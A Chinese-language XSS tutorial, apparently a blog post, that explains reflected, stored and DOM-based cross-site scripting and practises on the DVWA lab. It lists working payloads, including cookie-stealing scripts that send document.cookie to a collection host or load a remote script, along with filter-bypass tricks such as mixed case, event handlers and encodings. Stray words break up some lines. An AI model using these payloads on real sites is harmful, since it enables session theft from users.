1.什麼是xssjavascript
XSS攻擊全稱跨站腳本攻擊,是爲不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS,XSS是一種在web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。php
2.xss原理html
(1).攻擊者對某含有漏洞的服務器發起XSS攻擊(注入JS代碼)java
(2)誘使受害者打開受到攻擊的服務器URL(郵件、留言等,此步驟可選項)web
(3)受害者在Web瀏覽器中打開URL,惡意腳本執行。數據庫
3.xss類型瀏覽器
(1)反射性:安全
非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。服務器
(2)存儲型:cookie
持久化,代碼是存儲在服務器中的,如在我的信息或發表文章以及留言板等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等
(3)DOM:
DOM,全稱Document Object Model,是一個平臺和語言都中立的接口,能夠使程序和腳本可以動態訪問和更新文檔的內容、結構以及樣式。DOM型XSS實際上是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。
4.演練(如下練習均在DVWA環境中實現)
怎麼找到XSS漏洞:
我的理解:見框就插,由於通常的xss都是存在有文本框的地方。
常見payload構建:
<!-- 基本類型 -->
<script>alert ('xss')</script>
<script>alert ("xss")</script>
<script>alert (/xss/)</script>
<script>alert ('xss');</script>
<script>alert('document.cookie')</script> //獲取本地cookie
<!-- 利用基本事件 -->
<img src=x onerror=alert(1)> //事件會在文檔或圖像加載過程當中發生錯誤時被觸發
<img scr=x onload=alert(1)> //圖片正常加載才執行onload
<img scr=x onclick=alert(1)>//事件會在對象被點擊時發生
<img scr=x onmouseover=alert(1) > //當鼠標指針移動到圖像上時執行一段 JavaScript:
<!-- 利用Javascript僞協議 -->
<iframe src="Javascript:alert(1)"></iframe>
<!-- XSS獲取cookie -->
<script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
<script src=http://127.0.0.1/test.js></script>
(1).反射性:
直接在頁面反彈
payload:<script>alert('xss')</script>
payload:<script>alert(document.cookie)</script> 獲取本地cookie
(2)存儲型
插到數據庫當中,每次打開都會反彈。大多數存在於留言板。
payload ; <script>alert('xss')</script>
又插入一個payload:<script>alert('document.cookie')</script> (兩個都會反彈)
(3).DOM
屬於反射性
payload:<script>alert('xss')</script> (把原來的參數換成本身的payload)
5.繞過方法
1.利用<script>標籤
2. 利用html標籤的屬性值
3. 利用空字符
4. 利用事件
onclick 鼠標單擊
onchange 內容發生改變
onerror 圖片等未找到時
onload 頁面加載
onmouseover 鼠標懸停
onmouseout 鼠標移出
onmousemove 鼠標路過
5. 擾亂過濾規則
1)大小寫混合
<sCRipt>alert('xss')</script>
2)引號的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
6. 利用字符編碼
1)HTML進制編碼
標籤中的某些屬性值能夠使用html十進制、十六進制表示
2)JavaScript編碼
JavaScript支持unicode、八進制、十六進制、十進制等
3)URL編碼
4)base64編碼
6.常見繞過實戰
http://www.cnblogs.com/pangya/p/8979211.html
關注網絡安全